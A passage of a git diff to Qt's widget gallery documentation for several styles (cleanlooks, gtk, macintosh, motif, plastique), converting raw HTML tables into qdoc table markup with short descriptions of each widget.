    +\table 100% +\row +\o \image cleanlooks-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image cleanlooks-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-listview.png -\raw HTML - -\endraw -\inlineimage cleanlooks-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage cleanlooks-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-progressbar.png -\raw HTML - -\endraw -\inlineimage cleanlooks-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage cleanlooks-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image cleanlooks-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image cleanlooks-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image cleanlooks-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image cleanlooks-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage cleanlooks-slider.png -\raw HTML - -\endraw -\inlineimage cleanlooks-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage cleanlooks-combobox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage cleanlooks-spinbox.png -\raw HTML - -\endraw -\inlineimage cleanlooks-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage cleanlooks-dateedit.png -\raw HTML - -\endraw -\inlineimage cleanlooks-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage cleanlooks-textedit.png -\raw HTML - -\endraw -\inlineimage cleanlooks-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage cleanlooks-dial.png -\raw HTML - -\endraw -\inlineimage cleanlooks-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage cleanlooks-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image cleanlooks-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image cleanlooks-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image cleanlooks-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image cleanlooks-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image cleanlooks-label.png + The QLabel widget provides a text or image display. +\o \image cleanlooks-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image cleanlooks-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image cleanlooks-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image cleanlooks-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image cleanlooks-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image cleanlooks-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image cleanlooks-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image cleanlooks-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image cleanlooks-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image cleanlooks-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image cleanlooks-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image cleanlooks-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image cleanlooks-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image cleanlooks-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-gtk.qdoc b/doc/src/widgets-and-layouts/gallery-gtk.qdoc index b3a6372..b2f8458 100644 --- a/doc/src/widgets-and-layouts/gallery-gtk.qdoc +++ b/doc/src/widgets-and-layouts/gallery-gtk.qdoc @@ -37,349 +37,105 @@ Take a look at the \l{Qt Widget Gallery} to see how Qt applications appear in other styles. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-pushbutton.png -\raw HTML - -\endraw -\inlineimage gtk-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage gtk-checkbox.png -\raw HTML - -\endraw -\inlineimage gtk-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image gtk-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image gtk-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-groupbox.png -\raw HTML - -\endraw -\inlineimage gtk-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage gtk-toolbox.png -\raw HTML - -\endraw -\inlineimage gtk-frame.png -\raw HTML -
    -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML - -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image gtk-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image gtk-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-listview.png -\raw HTML - -\endraw -\inlineimage gtk-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage gtk-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML - -\endraw -\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-progressbar.png -\raw HTML - -\endraw -\inlineimage gtk-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage gtk-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image gtk-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image gtk-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image gtk-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image gtk-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage gtk-slider.png -\raw HTML - -\endraw -\inlineimage gtk-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage gtk-combobox.png -\raw HTML - -\endraw -\inlineimage gtk-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage gtk-spinbox.png -\raw HTML - -\endraw -\inlineimage gtk-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage gtk-dateedit.png -\raw HTML - -\endraw -\inlineimage gtk-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage gtk-textedit.png -\raw HTML - -\endraw -\inlineimage gtk-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage gtk-dial.png -\raw HTML - -\endraw -\inlineimage gtk-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage gtk-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image gtk-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image gtk-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image gtk-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image gtk-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image gtk-label.png + The QLabel widget provides a text or image display. +\o \image gtk-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image gtk-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image gtk-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image gtk-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image gtk-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image gtk-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image gtk-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image gtk-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image gtk-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image gtk-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image gtk-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image gtk-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image gtk-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image gtk-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-macintosh.qdoc b/doc/src/widgets-and-layouts/gallery-macintosh.qdoc index 30a78ca..44d7eb9 100644 --- a/doc/src/widgets-and-layouts/gallery-macintosh.qdoc +++ b/doc/src/widgets-and-layouts/gallery-macintosh.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "macintosh" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-pushbutton.png -\raw HTML - -\endraw -\inlineimage macintosh-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage macintosh-checkbox.png -\raw HTML - -\endraw -\inlineimage macintosh-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image macintosh-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image macintosh-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-groupbox.png -\raw HTML - -\endraw -\inlineimage macintosh-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage macintosh-frame.png -\raw HTML - -\endraw -\inlineimage macintosh-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image macintosh-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image macintosh-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-listview.png -\raw HTML - -\endraw -\inlineimage macintosh-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage macintosh-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-progressbar.png -\raw HTML - -\endraw -\inlineimage macintosh-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage macintosh-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image macintosh-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image macintosh-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image macintosh-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image macintosh-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage macintosh-slider.png -\raw HTML - -\endraw -\inlineimage macintosh-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage macintosh-combobox.png -\raw HTML - -\endraw -\inlineimage macintosh-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage macintosh-spinbox.png -\raw HTML - -\endraw -\inlineimage macintosh-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage macintosh-dateedit.png -\raw HTML - -\endraw -\inlineimage macintosh-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage macintosh-textedit.png -\raw HTML - -\endraw -\inlineimage macintosh-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage macintosh-dial.png -\raw HTML - -\endraw -\inlineimage macintosh-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage macintosh-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image macintosh-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image macintosh-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image macintosh-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image macintosh-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image macintosh-label.png + The QLabel widget provides a text or image display. +\o \image macintosh-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image macintosh-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image macintosh-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image macintosh-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image macintosh-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image macintosh-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image macintosh-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image macintosh-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image macintosh-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image macintosh-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image macintosh-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image macintosh-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image macintosh-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image macintosh-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-motif.qdoc b/doc/src/widgets-and-layouts/gallery-motif.qdoc index 861c22a..b9c95c8 100644 --- a/doc/src/widgets-and-layouts/gallery-motif.qdoc +++ b/doc/src/widgets-and-layouts/gallery-motif.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "motif" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-pushbutton.png -\raw HTML - -\endraw -\inlineimage motif-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage motif-checkbox.png -\raw HTML - -\endraw -\inlineimage motif-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image motif-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image motif-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-groupbox.png -\raw HTML - -\endraw -\inlineimage motif-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage motif-frame.png -\raw HTML - -\endraw -\inlineimage motif-toolbox.png -\raw HTML -
    -\endraw -The QFrame widget provides a simple decorated container for other widgets.\raw HTML - -\endraw -The QToolBox class provides a column of tabbed widget items.\raw HTML -
    -\endraw -\raw HTML -

    Item Views

    +\table 100% +\row +\o \image motif-checkbox.png + \caption The QCheckBox widget provides a checkbox with a text label. +\o \image motif-radiobutton.png + \caption The QRadioButton widget provides a radio button with a text or pixmap label. +\endtable - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-listview.png -\raw HTML - -\endraw -\inlineimage motif-treeview.png -\raw HTML -
    -\endraw -The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view.\raw HTML - -\endraw -The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view.\raw HTML -
    -\endraw -\inlineimage motif-tableview.png -\raw HTML -
    -\endraw -The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\raw HTML -
    -\endraw -\raw HTML -

    Display Widgets

    +\section2 Containers - -- - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-progressbar.png -\raw HTML - -\endraw -\inlineimage motif-lcdnumber.png -\raw HTML -
    -\endraw -The QProgressBar widget provides a horizontal progress bar.\raw HTML - -\endraw -The QLCDNumber widget displays a number with LCD-like digits.\raw HTML -
    -\endraw -\inlineimage motif-label.png -\raw HTML -
    -\endraw -The QLabel widget provides a text or image display.\raw HTML -
    -\endraw -\raw HTML -

    Input Widgets

    +\table 100% +\row +\o \image motif-groupbox.png + The The QGroupBox widget provides a group box frame with a title. +\o \image motif-tabwidget.png + The QTabWidget class provides a stack of tabbed widgets. +\o \image motif-frame.png + The QFrame widget provides a simple decorated container for other widgets. +\o \image motif-toolbox.png + The QToolBox class provides a column of tabbed widget items. +\endtable - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage motif-slider.png -\raw HTML - -\endraw -\inlineimage motif-lineedit.png -\raw HTML -
    -\endraw -The QSlider widget provides a vertical or horizontal slider.\raw HTML - -\endraw -The QLineEdit widget is a one-line text editor.\raw HTML -
    -\endraw -\inlineimage motif-combobox.png -\raw HTML - -\endraw -\inlineimage motif-doublespinbox.png -\raw HTML -
    -\endraw -The QComboBox widget is a combined button and pop-up list.\raw HTML - -\endraw -The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered.\raw HTML -
    -\endraw -\inlineimage motif-spinbox.png -\raw HTML - -\endraw -\inlineimage motif-timeedit.png -\raw HTML -
    -\endraw -The QSpinBox class provides a spin box widget.\raw HTML - -\endraw -The QTimeEdit class provides a widget for editing times.\raw HTML -
    -\endraw -\inlineimage motif-dateedit.png -\raw HTML - -\endraw -\inlineimage motif-datetimeedit.png -\raw HTML -
    -\endraw -The QDateEdit class provides a widget for editing dates.\raw HTML - -\endraw -The QDateTimeEdit class provides a widget for editing dates and times.\raw HTML -
    -\endraw -\inlineimage motif-textedit.png -\raw HTML - -\endraw -\inlineimage motif-horizontalscrollbar.png -\raw HTML -
    -\endraw -The QTextEdit class provides a widget that is used to edit and - display both plain and rich text.\raw HTML - -\endraw -The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation.\raw HTML -
    -\endraw -\inlineimage motif-dial.png -\raw HTML - -\endraw -\inlineimage motif-calendarwidget.png -\raw HTML -
    -\endraw -The QDial class provides a rounded range control (like a - speedometer or potentiometer).\raw HTML - -\endraw -The QCalendarWidget class provides a monthly calendar widget that can be used to select dates.\raw HTML -
    -\endraw -\inlineimage motif-fontcombobox.png -\raw HTML -
    -\endraw -The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts.\raw HTML -
    -\endraw +\section2 Item Views + +\table 100% +\row +\o \image motif-listview.png + The QListView class provides a default model/view implementation of a list/icon view. The QListWidget class provides a classic item-based list/icon view. +\o \image motif-treeview.png + The QTreeView class provides a default model/view implementation of a tree view. The QTreeWidget class provides a classic item-based tree view. +\o \image motif-tableview.png + The QTableView class provides a default model/view implementation of a table view. The QTableWidget class provides a classic item-based table view.\o +\o +\endtable + +\section2 Display Widgets + +\table 100% +\row +\o \image motif-progressbar.png + The QProgressBar widget provides a horizontal progress bar. +\o \image motif-label.png + The QLabel widget provides a text or image display. +\o \image motif-lcdnumber.png + The QLCDNumber widget displays a number with LCD-like digits. +\endtable + +\section2 Input Widgets + +\table 100% +\row +\o \image motif-lineedit.png + The QLineEdit widget is a one-line text editor. +\o \image motif-dateedit.png + The QDateEdit class provides a widget for editing dates. +\o \image motif-timeedit.png + The QTimeEdit class provides a widget for editing times. +\o \image motif-datetimeedit.png + The QDateTimeEdit class provides a widget for editing dates and times. +\endtable + +\table 100% +\row +\o \image motif-slider.png + The QSlider widget provides a vertical or horizontal slider. +\o \image motif-combobox.png + The QComboBox widget is a combined button and pop-up list. +\o \image motif-spinbox.png + The QSpinBox class provides a spin box widget. +\endtable + +\table 100% +\row +\o \image motif-fontcombobox.png + The QFontComboBox widget is a specialized combobox that enables fonts to be selected from a pop-up list containing previews of available fonts. +\o \image motif-doublespinbox.png + The QDoubleSpinBox class provides a spin box widget that allows double precision floating point numbers to be entered. +\o \image motif-horizontalscrollbar.png + The QScrollBar widget provides a vertical or horizontal scroll bar. Here, we show a scroll bar with horizontal orientation. +\endtable + +\table 100% +\row +\o \image motif-dial.png + The QDial class provides a rounded range control (like a speedometer or potentiometer). +\o \image motif-textedit.png + The QTextEdit class provides a widget that is used to edit and display both plain and rich text. +\o \image motif-calendarwidget.png + The QCalendarWidget class provides a monthly calendar widget that can be used to select dates. +\endtable */ diff --git a/doc/src/widgets-and-layouts/gallery-plastique.qdoc b/doc/src/widgets-and-layouts/gallery-plastique.qdoc index 0ea62ee..5f2a1ec 100644 --- a/doc/src/widgets-and-layouts/gallery-plastique.qdoc +++ b/doc/src/widgets-and-layouts/gallery-plastique.qdoc @@ -34,345 +34,105 @@ This page shows some of the widgets available in Qt when configured to use the "plastique" style. -\raw HTML -

    Buttons

    +\section2 Buttons - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-pushbutton.png -\raw HTML - -\endraw -\inlineimage plastique-toolbutton.png -\raw HTML -
    -\endraw -The QPushButton widget provides a command button.\raw HTML - -\endraw -The QToolButton class provides a quick-access button to commands - or options, usually used inside a QToolBar.\raw HTML -
    -\endraw -\inlineimage plastique-checkbox.png -\raw HTML - -\endraw -\inlineimage plastique-radiobutton.png -\raw HTML -
    -\endraw -The QCheckBox widget provides a checkbox with a text label.\raw HTML - -\endraw -The QRadioButton widget provides a radio button with a text or pixmap label.\raw HTML -
    -\endraw -\raw HTML -

    Containers

    +\table 100% +\row +\o \image plastique-pushbutton.png + \caption The QPushButton widget provides a command button. +\o \image plastique-toolbutton.png + \caption The QToolButton class provides a quick-access button to commands + or options, usually used inside a QToolBar. +\endtable - -- - - - - - - - - - - - - - - - - -
    -\endraw -\inlineimage plastique-groupbox.png -\raw HTML - -\endraw -\inlineimage plastique-tabwidget.png -\raw HTML -
    -\endraw -The QGroupBox widget provides a group box frame with a title.\raw HTML - -\endraw -The QTabWidget class provides a stack of tabbed widgets.\raw HTML -
    -\endraw -\inlineimage plastique-frame.png -\raw HTML - -\endraw -\inlineimage plastique-toolbox.png -\raw HTML -
